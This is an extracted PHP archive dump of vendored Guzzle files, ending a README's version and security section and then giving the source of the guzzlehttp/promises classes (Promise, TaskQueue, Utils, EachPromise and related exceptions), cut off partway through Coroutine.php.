| 6.x     | Security fixes only | `guzzlehttp/guzzle` | `GuzzleHttp` | [v6][guzzle-6-repo] | [v6][guzzle-6-docs] | Yes   | >=5.5,<8.0   |
| 7.x     | Latest              | `guzzlehttp/guzzle` | `GuzzleHttp` | [v7][guzzle-7-repo] | [v7][guzzle-7-docs] | Yes   | >=7.2.5,<8.4 |

[guzzle-3-repo]: https://github.com/guzzle/guzzle3
[guzzle-4-repo]: https://github.com/guzzle/guzzle/tree/4.x
[guzzle-5-repo]: https://github.com/guzzle/guzzle/tree/5.3
[guzzle-6-repo]: https://github.com/guzzle/guzzle/tree/6.5
[guzzle-7-repo]: https://github.com/guzzle/guzzle
[guzzle-3-docs]: https://guzzle3.readthedocs.io/
[guzzle-5-docs]: https://docs.guzzlephp.org/en/5.3/
[guzzle-6-docs]: https://docs.guzzlephp.org/en/6.5/
[guzzle-7-docs]: https://docs.guzzlephp.org/en/latest/


## Security

If you discover a security vulnerability within this package, please send an email to security@tidelift.com. All security vulnerabilities will be promptly addressed. Please do not disclose security-related issues publicly until a fix has been announced. Please see [Security Policy](https://github.com/guzzle/guzzle/security/policy) for more information.

## License

Guzzle is made available under the MIT License (MIT). Please see [License File](LICENSE) for more information.

## For Enterprise

Available as part of the Tidelift Subscription

The maintainers of Guzzle and thousands of other packages are working with Tidelift to deliver commercial support and maintenance for the open source dependencies you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact dependencies you use. [Learn more.](https://tidelift.com/subscription/pkg/packagist-guzzlehttp-guzzle?utm_source=packagist-guzzlehttp-guzzle&utm_medium=referral&utm_campaign=enterprise&utm_term=repo)
PK
h�\�>=��5vendor/guzzlehttp/promises/src/TaskQueueInterface.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Promise;

interface TaskQueueInterface
{
    /**
     * Returns true if the queue is empty.
     */
    public function isEmpty(): bool;

    /**
     * Adds a task to the queue that will be executed the next time run is
     * called.
     */
    public function add(callable $task): void;

    /**
     * Execute all of the pending task in the queue.
     */
    public function run(): void;
}
PK
h�\�d�1��2vendor/guzzlehttp/promises/src/RejectedPromise.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Promise;

/**
 * A promise that has been rejected.
 *
 * Thenning off of this promise will invoke the onRejected callback
 * immediately and ignore other callbacks.
 *
 * @final
 */
class RejectedPromise implements PromiseInterface
{
    private $reason;

    /**
     * @param mixed $reason
     */
    public function __construct($reason)
    {
        if (is_object($reason) && method_exists($reason, 'then')) {
            throw new \InvalidArgumentException(
                'You cannot create a RejectedPromise with a promise.'
            );
        }

        $this->reason = $reason;
    }

    public function then(
        callable $onFulfilled = null,
        callable $onRejected = null
    ): PromiseInterface {
        // If there's no onRejected callback then just return self.
        if (!$onRejected) {
            return $this;
        }

        $queue = Utils::queue();
        $reason = $this->reason;
        $p = new Promise([$queue, 'run']);
        $queue->add(static function () use ($p, $reason, $onRejected): void {
            if (Is::pending($p)) {
                try {
                    // Return a resolved promise if onRejected does not throw.
                    $p->resolve($onRejected($reason));
                } catch (\Throwable $e) {
                    // onRejected threw, so return a rejected promise.
                    $p->reject($e);
                }
            }
        });

        return $p;
    }

    public function otherwise(callable $onRejected): PromiseInterface
    {
        return $this->then(null, $onRejected);
    }

    public function wait(bool $unwrap = true)
    {
        if ($unwrap) {
            throw Create::exceptionFor($this->reason);
        }

        return null;
    }

    public function getState(): string
    {
        return self::REJECTED;
    }

    public function resolve($value): void
    {
        throw new \LogicException('Cannot resolve a rejected promise');
    }

    public function reject($reason): void
    {
        if ($reason !== $this->reason) {
            throw new \LogicException('Cannot reject a rejected promise');
        }
    }

    public function cancel(): void
    {
        // pass
    }
}
PK
h�\�� � (vendor/guzzlehttp/promises/src/Utils.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Promise;

final class Utils
{
    /**
     * Get the global task queue used for promise resolution.
     *
     * This task queue MUST be run in an event loop in order for promises to be
     * settled asynchronously. It will be automatically run when synchronously
     * waiting on a promise.
     *
     * <code>
     * while ($eventLoop->isRunning()) {
     *     GuzzleHttp\Promise\Utils::queue()->run();
     * }
     * </code>
     *
     * @param TaskQueueInterface|null $assign Optionally specify a new queue instance.
     */
    public static function queue(TaskQueueInterface $assign = null): TaskQueueInterface
    {
        static $queue;

        if ($assign) {
            $queue = $assign;
        } elseif (!$queue) {
            $queue = new TaskQueue();
        }

        return $queue;
    }

    /**
     * Adds a function to run in the task queue when it is next `run()` and
     * returns a promise that is fulfilled or rejected with the result.
     *
     * @param callable $task Task function to run.
     */
    public static function task(callable $task): PromiseInterface
    {
        $queue = self::queue();
        $promise = new Promise([$queue, 'run']);
        $queue->add(function () use ($task, $promise): void {
            try {
                if (Is::pending($promise)) {
                    $promise->resolve($task());
                }
            } catch (\Throwable $e) {
                $promise->reject($e);
            }
        });

        return $promise;
    }

    /**
     * Synchronously waits on a promise to resolve and returns an inspection
     * state array.
     *
     * Returns a state associative array containing a "state" key mapping to a
     * valid promise state. If the state of the promise is "fulfilled", the
     * array will contain a "value" key mapping to the fulfilled value of the
     * promise. If the promise is rejected, the array will contain a "reason"
     * key mapping to the rejection reason of the promise.
     *
     * @param PromiseInterface $promise Promise or value.
     */
    public static function inspect(PromiseInterface $promise): array
    {
        try {
            return [
                'state' => PromiseInterface::FULFILLED,
                'value' => $promise->wait(),
            ];
        } catch (RejectionException $e) {
            return ['state' => PromiseInterface::REJECTED, 'reason' => $e->getReason()];
        } catch (\Throwable $e) {
            return ['state' => PromiseInterface::REJECTED, 'reason' => $e];
        }
    }

    /**
     * Waits on all of the provided promises, but does not unwrap rejected
     * promises as thrown exception.
     *
     * Returns an array of inspection state arrays.
     *
     * @see inspect for the inspection state array format.
     *
     * @param PromiseInterface[] $promises Traversable of promises to wait upon.
     */
    public static function inspectAll($promises): array
    {
        $results = [];
        foreach ($promises as $key => $promise) {
            $results[$key] = self::inspect($promise);
        }

        return $results;
    }

    /**
     * Waits on all of the provided promises and returns the fulfilled values.
     *
     * Returns an array that contains the value of each promise (in the same
     * order the promises were provided). An exception is thrown if any of the
     * promises are rejected.
     *
     * @param iterable<PromiseInterface> $promises Iterable of PromiseInterface objects to wait on.
     *
     * @throws \Throwable on error
     */
    public static function unwrap($promises): array
    {
        $results = [];
        foreach ($promises as $key => $promise) {
            $results[$key] = $promise->wait();
        }

        return $results;
    }

    /**
     * Given an array of promises, return a promise that is fulfilled when all
     * the items in the array are fulfilled.
     *
     * The promise's fulfillment value is an array with fulfillment values at
     * respective positions to the original array. If any promise in the array
     * rejects, the returned promise is rejected with the rejection reason.
     *
     * @param mixed $promises  Promises or values.
     * @param bool  $recursive If true, resolves new promises that might have been added to the stack during its own resolution.
     */
    public static function all($promises, bool $recursive = false): PromiseInterface
    {
        $results = [];
        $promise = Each::of(
            $promises,
            function ($value, $idx) use (&$results): void {
                $results[$idx] = $value;
            },
            function ($reason, $idx, Promise $aggregate): void {
                $aggregate->reject($reason);
            }
        )->then(function () use (&$results) {
            ksort($results);

            return $results;
        });

        if (true === $recursive) {
            $promise = $promise->then(function ($results) use ($recursive, &$promises) {
                foreach ($promises as $promise) {
                    if (Is::pending($promise)) {
                        return self::all($promises, $recursive);
                    }
                }

                return $results;
            });
        }

        return $promise;
    }

    /**
     * Initiate a competitive race between multiple promises or values (values
     * will become immediately fulfilled promises).
     *
     * When count amount of promises have been fulfilled, the returned promise
     * is fulfilled with an array that contains the fulfillment values of the
     * winners in order of resolution.
     *
     * This promise is rejected with a {@see AggregateException} if the number
     * of fulfilled promises is less than the desired $count.
     *
     * @param int   $count    Total number of promises.
     * @param mixed $promises Promises or values.
     */
    public static function some(int $count, $promises): PromiseInterface
    {
        $results = [];
        $rejections = [];

        return Each::of(
            $promises,
            function ($value, $idx, PromiseInterface $p) use (&$results, $count): void {
                if (Is::settled($p)) {
                    return;
                }
                $results[$idx] = $value;
                if (count($results) >= $count) {
                    $p->resolve(null);
                }
            },
            function ($reason) use (&$rejections): void {
                $rejections[] = $reason;
            }
        )->then(
            function () use (&$results, &$rejections, $count) {
                if (count($results) !== $count) {
                    throw new AggregateException(
                        'Not enough promises to fulfill count',
                        $rejections
                    );
                }
                ksort($results);

                return array_values($results);
            }
        );
    }

    /**
     * Like some(), with 1 as count. However, if the promise fulfills, the
     * fulfillment value is not an array of 1 but the value directly.
     *
     * @param mixed $promises Promises or values.
     */
    public static function any($promises): PromiseInterface
    {
        return self::some(1, $promises)->then(function ($values) {
            return $values[0];
        });
    }

    /**
     * Returns a promise that is fulfilled when all of the provided promises have
     * been fulfilled or rejected.
     *
     * The returned promise is fulfilled with an array of inspection state arrays.
     *
     * @see inspect for the inspection state array format.
     *
     * @param mixed $promises Promises or values.
     */
    public static function settle($promises): PromiseInterface
    {
        $results = [];

        return Each::of(
            $promises,
            function ($value, $idx) use (&$results): void {
                $results[$idx] = ['state' => PromiseInterface::FULFILLED, 'value' => $value];
            },
            function ($reason, $idx) use (&$results): void {
                $results[$idx] = ['state' => PromiseInterface::REJECTED, 'reason' => $reason];
            }
        )->then(function () use (&$results) {
            ksort($results);

            return $results;
        });
    }
}
PK
h�\偢'��.vendor/guzzlehttp/promises/src/EachPromise.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Promise;

/**
 * Represents a promise that iterates over many promises and invokes
 * side-effect functions in the process.
 *
 * @final
 */
class EachPromise implements PromisorInterface
{
    private $pending = [];

    private $nextPendingIndex = 0;

    /** @var \Iterator|null */
    private $iterable;

    /** @var callable|int|null */
    private $concurrency;

    /** @var callable|null */
    private $onFulfilled;

    /** @var callable|null */
    private $onRejected;

    /** @var Promise|null */
    private $aggregate;

    /** @var bool|null */
    private $mutex;

    /**
     * Configuration hash can include the following key value pairs:
     *
     * - fulfilled: (callable) Invoked when a promise fulfills. The function
     *   is invoked with three arguments: the fulfillment value, the index
     *   position from the iterable list of the promise, and the aggregate
     *   promise that manages all of the promises. The aggregate promise may
     *   be resolved from within the callback to short-circuit the promise.
     * - rejected: (callable) Invoked when a promise is rejected. The
     *   function is invoked with three arguments: the rejection reason, the
     *   index position from the iterable list of the promise, and the
     *   aggregate promise that manages all of the promises. The aggregate
     *   promise may be resolved from within the callback to short-circuit
     *   the promise.
     * - concurrency: (integer) Pass this configuration option to limit the
     *   allowed number of outstanding concurrently executing promises,
     *   creating a capped pool of promises. There is no limit by default.
     *
     * @param mixed $iterable Promises or values to iterate.
     * @param array $config   Configuration options
     */
    public function __construct($iterable, array $config = [])
    {
        $this->iterable = Create::iterFor($iterable);

        if (isset($config['concurrency'])) {
            $this->concurrency = $config['concurrency'];
        }

        if (isset($config['fulfilled'])) {
            $this->onFulfilled = $config['fulfilled'];
        }

        if (isset($config['rejected'])) {
            $this->onRejected = $config['rejected'];
        }
    }

    /** @psalm-suppress InvalidNullableReturnType */
    public function promise(): PromiseInterface
    {
        if ($this->aggregate) {
            return $this->aggregate;
        }

        try {
            $this->createPromise();
            /** @psalm-assert Promise $this->aggregate */
            $this->iterable->rewind();
            $this->refillPending();
        } catch (\Throwable $e) {
            $this->aggregate->reject($e);
        }

        /**
         * @psalm-suppress NullableReturnStatement
         */
        return $this->aggregate;
    }

    private function createPromise(): void
    {
        $this->mutex = false;
        $this->aggregate = new Promise(function (): void {
            if ($this->checkIfFinished()) {
                return;
            }
            reset($this->pending);
            // Consume a potentially fluctuating list of promises while
            // ensuring that indexes are maintained (precluding array_shift).
            while ($promise = current($this->pending)) {
                next($this->pending);
                $promise->wait();
                if (Is::settled($this->aggregate)) {
                    return;
                }
            }
        });

        // Clear the references when the promise is resolved.
        $clearFn = function (): void {
            $this->iterable = $this->concurrency = $this->pending = null;
            $this->onFulfilled = $this->onRejected = null;
            $this->nextPendingIndex = 0;
        };

        $this->aggregate->then($clearFn, $clearFn);
    }

    private function refillPending(): void
    {
        if (!$this->concurrency) {
            // Add all pending promises.
            while ($this->addPending() && $this->advanceIterator()) {
            }

            return;
        }

        // Add only up to N pending promises.
        $concurrency = is_callable($this->concurrency)
            ? ($this->concurrency)(count($this->pending))
            : $this->concurrency;
        $concurrency = max($concurrency - count($this->pending), 0);
        // Concurrency may be set to 0 to disallow new promises.
        if (!$concurrency) {
            return;
        }
        // Add the first pending promise.
        $this->addPending();
        // Note this is special handling for concurrency=1 so that we do
        // not advance the iterator after adding the first promise. This
        // helps work around issues with generators that might not have the
        // next value to yield until promise callbacks are called.
        while (--$concurrency
            && $this->advanceIterator()
            && $this->addPending()) {
        }
    }

    private function addPending(): bool
    {
        if (!$this->iterable || !$this->iterable->valid()) {
            return false;
        }

        $promise = Create::promiseFor($this->iterable->current());
        $key = $this->iterable->key();

        // Iterable keys may not be unique, so we use a counter to
        // guarantee uniqueness
        $idx = $this->nextPendingIndex++;

        $this->pending[$idx] = $promise->then(
            function ($value) use ($idx, $key): void {
                if ($this->onFulfilled) {
                    ($this->onFulfilled)(
                        $value,
                        $key,
                        $this->aggregate
                    );
                }
                $this->step($idx);
            },
            function ($reason) use ($idx, $key): void {
                if ($this->onRejected) {
                    ($this->onRejected)(
                        $reason,
                        $key,
                        $this->aggregate
                    );
                }
                $this->step($idx);
            }
        );

        return true;
    }

    private function advanceIterator(): bool
    {
        // Place a lock on the iterator so that we ensure to not recurse,
        // preventing fatal generator errors.
        if ($this->mutex) {
            return false;
        }

        $this->mutex = true;

        try {
            $this->iterable->next();
            $this->mutex = false;

            return true;
        } catch (\Throwable $e) {
            $this->aggregate->reject($e);
            $this->mutex = false;

            return false;
        }
    }

    private function step(int $idx): void
    {
        // If the promise was already resolved, then ignore this step.
        if (Is::settled($this->aggregate)) {
            return;
        }

        unset($this->pending[$idx]);

        // Only refill pending promises if we are not locked, preventing the
        // EachPromise to recursively invoke the provided iterator, which
        // cause a fatal error: "Cannot resume an already running generator"
        if ($this->advanceIterator() && !$this->checkIfFinished()) {
            // Add more pending promises if possible.
            $this->refillPending();
        }
    }

    private function checkIfFinished(): bool
    {
        if (!$this->pending && !$this->iterable->valid()) {
            // Resolve the promise if there's nothing left to do.
            $this->aggregate->resolve(null);

            return true;
        }

        return false;
    }
}
PK
h�\R���)vendor/guzzlehttp/promises/src/Create.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Promise;

final class Create
{
    /**
     * Creates a promise for a value if the value is not a promise.
     *
     * @param mixed $value Promise or value.
     */
    public static function promiseFor($value): PromiseInterface
    {
        if ($value instanceof PromiseInterface) {
            return $value;
        }

        // Return a Guzzle promise that shadows the given promise.
        if (is_object($value) && method_exists($value, 'then')) {
            $wfn = method_exists($value, 'wait') ? [$value, 'wait'] : null;
            $cfn = method_exists($value, 'cancel') ? [$value, 'cancel'] : null;
            $promise = new Promise($wfn, $cfn);
            $value->then([$promise, 'resolve'], [$promise, 'reject']);

            return $promise;
        }

        return new FulfilledPromise($value);
    }

    /**
     * Creates a rejected promise for a reason if the reason is not a promise.
     * If the provided reason is a promise, then it is returned as-is.
     *
     * @param mixed $reason Promise or reason.
     */
    public static function rejectionFor($reason): PromiseInterface
    {
        if ($reason instanceof PromiseInterface) {
            return $reason;
        }

        return new RejectedPromise($reason);
    }

    /**
     * Create an exception for a rejected promise value.
     *
     * @param mixed $reason
     */
    public static function exceptionFor($reason): \Throwable
    {
        if ($reason instanceof \Throwable) {
            return $reason;
        }

        return new RejectionException($reason);
    }

    /**
     * Returns an iterator for the given value.
     *
     * @param mixed $value
     */
    public static function iterFor($value): \Iterator
    {
        if ($value instanceof \Iterator) {
            return $value;
        }

        if (is_array($value)) {
            return new \ArrayIterator($value);
        }

        return new \ArrayIterator([$value]);
    }
}
PK
h�\4g���,vendor/guzzlehttp/promises/src/TaskQueue.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Promise;

/**
 * A task queue that executes tasks in a FIFO order.
 *
 * This task queue class is used to settle promises asynchronously and
 * maintains a constant stack size. You can use the task queue asynchronously
 * by calling the `run()` function of the global task queue in an event loop.
 *
 *     GuzzleHttp\Promise\Utils::queue()->run();
 *
 * @final
 */
class TaskQueue implements TaskQueueInterface
{
    private $enableShutdown = true;
    private $queue = [];

    public function __construct(bool $withShutdown = true)
    {
        if ($withShutdown) {
            register_shutdown_function(function (): void {
                if ($this->enableShutdown) {
                    // Only run the tasks if an E_ERROR didn't occur.
                    $err = error_get_last();
                    if (!$err || ($err['type'] ^ E_ERROR)) {
                        $this->run();
                    }
                }
            });
        }
    }

    public function isEmpty(): bool
    {
        return !$this->queue;
    }

    public function add(callable $task): void
    {
        $this->queue[] = $task;
    }

    public function run(): void
    {
        while ($task = array_shift($this->queue)) {
            /** @var callable $task */
            $task();
        }
    }

    /**
     * The task queue will be run and exhausted by default when the process
     * exits IFF the exit is not the result of a PHP E_ERROR error.
     *
     * You can disable running the automatic shutdown of the queue by calling
     * this function. If you disable the task queue shutdown process, then you
     * MUST either run the task queue (as a result of running your event loop
     * or manually using the run() method) or wait on each outstanding promise.
     *
     * Note: This shutdown will occur before any destructors are triggered.
     */
    public function disableShutdown(): void
    {
        $this->enableShutdown = false;
    }
}
PK
h�\�b�{��5vendor/guzzlehttp/promises/src/AggregateException.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Promise;

/**
 * Exception thrown when too many errors occur in the some() or any() methods.
 */
class AggregateException extends RejectionException
{
    public function __construct(string $msg, array $reasons)
    {
        parent::__construct(
            $reasons,
            sprintf('%s; %d rejected promises', $msg, count($reasons))
        );
    }
}
PK
h�\NtD��"�"*vendor/guzzlehttp/promises/src/Promise.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Promise;

/**
 * Promises/A+ implementation that avoids recursion when possible.
 *
 * @see https://promisesaplus.com/
 *
 * @final
 */
class Promise implements PromiseInterface
{
    private $state = self::PENDING;
    private $result;
    private $cancelFn;
    private $waitFn;
    private $waitList;
    private $handlers = [];

    /**
     * @param callable $waitFn   Fn that when invoked resolves the promise.
     * @param callable $cancelFn Fn that when invoked cancels the promise.
     */
    public function __construct(
        callable $waitFn = null,
        callable $cancelFn = null
    ) {
        $this->waitFn = $waitFn;
        $this->cancelFn = $cancelFn;
    }

    public function then(
        callable $onFulfilled = null,
        callable $onRejected = null
    ): PromiseInterface {
        if ($this->state === self::PENDING) {
            $p = new Promise(null, [$this, 'cancel']);
            $this->handlers[] = [$p, $onFulfilled, $onRejected];
            $p->waitList = $this->waitList;
            $p->waitList[] = $this;

            return $p;
        }

        // Return a fulfilled promise and immediately invoke any callbacks.
        if ($this->state === self::FULFILLED) {
            $promise = Create::promiseFor($this->result);

            return $onFulfilled ? $promise->then($onFulfilled) : $promise;
        }

        // It's either cancelled or rejected, so return a rejected promise
        // and immediately invoke any callbacks.
        $rejection = Create::rejectionFor($this->result);

        return $onRejected ? $rejection->then(null, $onRejected) : $rejection;
    }

    public function otherwise(callable $onRejected): PromiseInterface
    {
        return $this->then(null, $onRejected);
    }

    public function wait(bool $unwrap = true)
    {
        $this->waitIfPending();

        if ($this->result instanceof PromiseInterface) {
            return $this->result->wait($unwrap);
        }
        if ($unwrap) {
            if ($this->state === self::FULFILLED) {
                return $this->result;
            }
            // It's rejected so "unwrap" and throw an exception.
            throw Create::exceptionFor($this->result);
        }
    }

    public function getState(): string
    {
        return $this->state;
    }

    public function cancel(): void
    {
        if ($this->state !== self::PENDING) {
            return;
        }

        $this->waitFn = $this->waitList = null;

        if ($this->cancelFn) {
            $fn = $this->cancelFn;
            $this->cancelFn = null;
            try {
                $fn();
            } catch (\Throwable $e) {
                $this->reject($e);
            }
        }

        // Reject the promise only if it wasn't rejected in a then callback.
        /** @psalm-suppress RedundantCondition */
        if ($this->state === self::PENDING) {
            $this->reject(new CancellationException('Promise has been cancelled'));
        }
    }

    public function resolve($value): void
    {
        $this->settle(self::FULFILLED, $value);
    }

    public function reject($reason): void
    {
        $this->settle(self::REJECTED, $reason);
    }

    private function settle(string $state, $value): void
    {
        if ($this->state !== self::PENDING) {
            // Ignore calls with the same resolution.
            if ($state === $this->state && $value === $this->result) {
                return;
            }
            throw $this->state === $state
                ? new \LogicException("The promise is already {$state}.")
                : new \LogicException("Cannot change a {$this->state} promise to {$state}");
        }

        if ($value === $this) {
            throw new \LogicException('Cannot fulfill or reject a promise with itself');
        }

        // Clear out the state of the promise but stash the handlers.
        $this->state = $state;
        $this->result = $value;
        $handlers = $this->handlers;
        $this->handlers = null;
        $this->waitList = $this->waitFn = null;
        $this->cancelFn = null;

        if (!$handlers) {
            return;
        }

        // If the value was not a settled promise or a thenable, then resolve
        // it in the task queue using the correct ID.
        if (!is_object($value) || !method_exists($value, 'then')) {
            $id = $state === self::FULFILLED ? 1 : 2;
            // It's a success, so resolve the handlers in the queue.
            Utils::queue()->add(static function () use ($id, $value, $handlers): void {
                foreach ($handlers as $handler) {
                    self::callHandler($id, $value, $handler);
                }
            });
        } elseif ($value instanceof Promise && Is::pending($value)) {
            // We can just merge our handlers onto the next promise.
            $value->handlers = array_merge($value->handlers, $handlers);
        } else {
            // Resolve the handlers when the forwarded promise is resolved.
            $value->then(
                static function ($value) use ($handlers): void {
                    foreach ($handlers as $handler) {
                        self::callHandler(1, $value, $handler);
                    }
                },
                static function ($reason) use ($handlers): void {
                    foreach ($handlers as $handler) {
                        self::callHandler(2, $reason, $handler);
                    }
                }
            );
        }
    }

    /**
     * Call a stack of handlers using a specific callback index and value.
     *
     * @param int   $index   1 (resolve) or 2 (reject).
     * @param mixed $value   Value to pass to the callback.
     * @param array $handler Array of handler data (promise and callbacks).
     */
    private static function callHandler(int $index, $value, array $handler): void
    {
        /** @var PromiseInterface $promise */
        $promise = $handler[0];

        // The promise may have been cancelled or resolved before placing
        // this thunk in the queue.
        if (Is::settled($promise)) {
            return;
        }

        try {
            if (isset($handler[$index])) {
                /*
                 * If $f throws an exception, then $handler will be in the exception
                 * stack trace. Since $handler contains a reference to the callable
                 * itself we get a circular reference. We clear the $handler
                 * here to avoid that memory leak.
                 */
                $f = $handler[$index];
                unset($handler);
                $promise->resolve($f($value));
            } elseif ($index === 1) {
                // Forward resolution values as-is.
                $promise->resolve($value);
            } else {
                // Forward rejections down the chain.
                $promise->reject($value);
            }
        } catch (\Throwable $reason) {
            $promise->reject($reason);
        }
    }

    private function waitIfPending(): void
    {
        if ($this->state !== self::PENDING) {
            return;
        } elseif ($this->waitFn) {
            $this->invokeWaitFn();
        } elseif ($this->waitList) {
            $this->invokeWaitList();
        } else {
            // If there's no wait function, then reject the promise.
            $this->reject('Cannot wait on a promise that has '
                .'no internal wait function. You must provide a wait '
                .'function when constructing the promise to be able to '
                .'wait on a promise.');
        }

        Utils::queue()->run();

        /** @psalm-suppress RedundantCondition */
        if ($this->state === self::PENDING) {
            $this->reject('Invoking the wait callback did not resolve the promise');
        }
    }

    private function invokeWaitFn(): void
    {
        try {
            $wfn = $this->waitFn;
            $this->waitFn = null;
            $wfn(true);
        } catch (\Throwable $reason) {
            if ($this->state === self::PENDING) {
                // The promise has not been resolved yet, so reject the promise
                // with the exception.
                $this->reject($reason);
            } else {
                // The promise was already resolved, so there's a problem in
                // the application.
                throw $reason;
            }
        }
    }

    private function invokeWaitList(): void
    {
        $waitList = $this->waitList;
        $this->waitList = null;

        foreach ($waitList as $result) {
            do {
                $result->waitIfPending();
                $result = $result->result;
            } while ($result instanceof Promise);

            if ($result instanceof PromiseInterface) {
                $result->wait(false);
            }
        }
    }
}
PK
h�\逿�3vendor/guzzlehttp/promises/src/PromiseInterface.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Promise;

/**
 * A promise represents the eventual result of an asynchronous operation.
 *
 * The primary way of interacting with a promise is through its then method,
 * which registers callbacks to receive either a promise’s eventual value or
 * the reason why the promise cannot be fulfilled.
 *
 * @see https://promisesaplus.com/
 */
interface PromiseInterface
{
    public const PENDING = 'pending';
    public const FULFILLED = 'fulfilled';
    public const REJECTED = 'rejected';

    /**
     * Appends fulfillment and rejection handlers to the promise, and returns
     * a new promise resolving to the return value of the called handler.
     *
     * @param callable $onFulfilled Invoked when the promise fulfills.
     * @param callable $onRejected  Invoked when the promise is rejected.
     */
    public function then(
        callable $onFulfilled = null,
        callable $onRejected = null
    ): PromiseInterface;

    /**
     * Appends a rejection handler callback to the promise, and returns a new
     * promise resolving to the return value of the callback if it is called,
     * or to its original fulfillment value if the promise is instead
     * fulfilled.
     *
     * @param callable $onRejected Invoked when the promise is rejected.
     */
    public function otherwise(callable $onRejected): PromiseInterface;

    /**
     * Get the state of the promise ("pending", "rejected", or "fulfilled").
     *
     * The three states can be checked against the constants defined on
     * PromiseInterface: PENDING, FULFILLED, and REJECTED.
     */
    public function getState(): string;

    /**
     * Resolve the promise with the given value.
     *
     * @param mixed $value
     *
     * @throws \RuntimeException if the promise is already resolved.
     */
    public function resolve($value): void;

    /**
     * Reject the promise with the given reason.
     *
     * @param mixed $reason
     *
     * @throws \RuntimeException if the promise is already resolved.
     */
    public function reject($reason): void;

    /**
     * Cancels the promise if possible.
     *
     * @see https://github.com/promises-aplus/cancellation-spec/issues/7
     */
    public function cancel(): void;

    /**
     * Waits until the promise completes if possible.
     *
     * Pass $unwrap as true to unwrap the result of the promise, either
     * returning the resolved value or throwing the rejected exception.
     *
     * If the promise cannot be waited on, then the promise will be rejected.
     *
     * @return mixed
     *
     * @throws \LogicException if the promise has no wait function or if the
     *                         promise does not settle after waiting.
     */
    public function wait(bool $unwrap = true);
}
PK
h�\��Lt��8vendor/guzzlehttp/promises/src/CancellationException.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Promise;

/**
 * Exception that is set as the reason for a promise that has been cancelled.
 */
class CancellationException extends RejectionException
{
}
PK
h�\G�y���5vendor/guzzlehttp/promises/src/RejectionException.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Promise;

/**
 * A special exception that is thrown when waiting on a rejected promise.
 *
 * The reason value is available via the getReason() method.
 */
class RejectionException extends \RuntimeException
{
    /** @var mixed Rejection reason. */
    private $reason;

    /**
     * @param mixed       $reason      Rejection reason.
     * @param string|null $description Optional description.
     */
    public function __construct($reason, string $description = null)
    {
        $this->reason = $reason;

        $message = 'The promise was rejected';

        if ($description) {
            $message .= ' with reason: '.$description;
        } elseif (is_string($reason)
            || (is_object($reason) && method_exists($reason, '__toString'))
        ) {
            $message .= ' with reason: '.$this->reason;
        } elseif ($reason instanceof \JsonSerializable) {
            $message .= ' with reason: '.json_encode($this->reason, JSON_PRETTY_PRINT);
        }

        parent::__construct($message);
    }

    /**
     * Returns the rejection reason.
     *
     * @return mixed
     */
    public function getReason()
    {
        return $this->reason;
    }
}
PK
h�\'�
c��3vendor/guzzlehttp/promises/src/FulfilledPromise.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Promise;

/**
 * A promise that has been fulfilled.
 *
 * Thenning off of this promise will invoke the onFulfilled callback
 * immediately and ignore other callbacks.
 *
 * @final
 */
class FulfilledPromise implements PromiseInterface
{
    private $value;

    /**
     * @param mixed $value
     */
    public function __construct($value)
    {
        if (is_object($value) && method_exists($value, 'then')) {
            throw new \InvalidArgumentException(
                'You cannot create a FulfilledPromise with a promise.'
            );
        }

        $this->value = $value;
    }

    public function then(
        callable $onFulfilled = null,
        callable $onRejected = null
    ): PromiseInterface {
        // Return itself if there is no onFulfilled function.
        if (!$onFulfilled) {
            return $this;
        }

        $queue = Utils::queue();
        $p = new Promise([$queue, 'run']);
        $value = $this->value;
        $queue->add(static function () use ($p, $value, $onFulfilled): void {
            if (Is::pending($p)) {
                try {
                    $p->resolve($onFulfilled($value));
                } catch (\Throwable $e) {
                    $p->reject($e);
                }
            }
        });

        return $p;
    }

    public function otherwise(callable $onRejected): PromiseInterface
    {
        return $this->then(null, $onRejected);
    }

    public function wait(bool $unwrap = true)
    {
        return $unwrap ? $this->value : null;
    }

    public function getState(): string
    {
        return self::FULFILLED;
    }

    public function resolve($value): void
    {
        if ($value !== $this->value) {
            throw new \LogicException('Cannot resolve a fulfilled promise');
        }
    }

    public function reject($reason): void
    {
        throw new \LogicException('Cannot reject a fulfilled promise');
    }

    public function cancel(): void
    {
        // pass
    }
}
PK
h�\0m���%vendor/guzzlehttp/promises/src/Is.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Promise;

final class Is
{
    /**
     * Returns true if a promise is pending.
     */
    public static function pending(PromiseInterface $promise): bool
    {
        return $promise->getState() === PromiseInterface::PENDING;
    }

    /**
     * Returns true if a promise is fulfilled or rejected.
     */
    public static function settled(PromiseInterface $promise): bool
    {
        return $promise->getState() !== PromiseInterface::PENDING;
    }

    /**
     * Returns true if a promise is fulfilled.
     */
    public static function fulfilled(PromiseInterface $promise): bool
    {
        return $promise->getState() === PromiseInterface::FULFILLED;
    }

    /**
     * Returns true if a promise is rejected.
     */
    public static function rejected(PromiseInterface $promise): bool
    {
        return $promise->getState() === PromiseInterface::REJECTED;
    }
}
PK
h�\W��PAA,vendor/guzzlehttp/promises/src/Coroutine.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Promise;

use Generator;
use Throwable;

/**
 * Creates a promise that is resolved using a generator that yields values or
 * promises (somewhat similar to C#'s async keyword).
 *
 * When called, the Coroutine::of method will start an instance of the generator
 * and returns a promise that is fulfilled with its final yielded value.
 *
 * Control is returned back to the generator when the yielded promise settles.
 * This can lead to less verbose code when doing lots of sequential async calls
 * with minimal processing in between.
 *
 *     use GuzzleHttp\Promise;
 *
 *     function createPromise($value) {
 *         return new Promise\FulfilledPromise($value);
 *     }
 *
 *     $promise = Promise\Coroutine::of(function () {
 *         $value = (yield createPromise('a'));
 *         try {
 *             $value = (yield createPromise($value . 'b'));
 *         } catch (\Throwable $e) {
 *             // The promise was rejected.
 *         }
 *         yield $value . 'c';
 *     });
 *
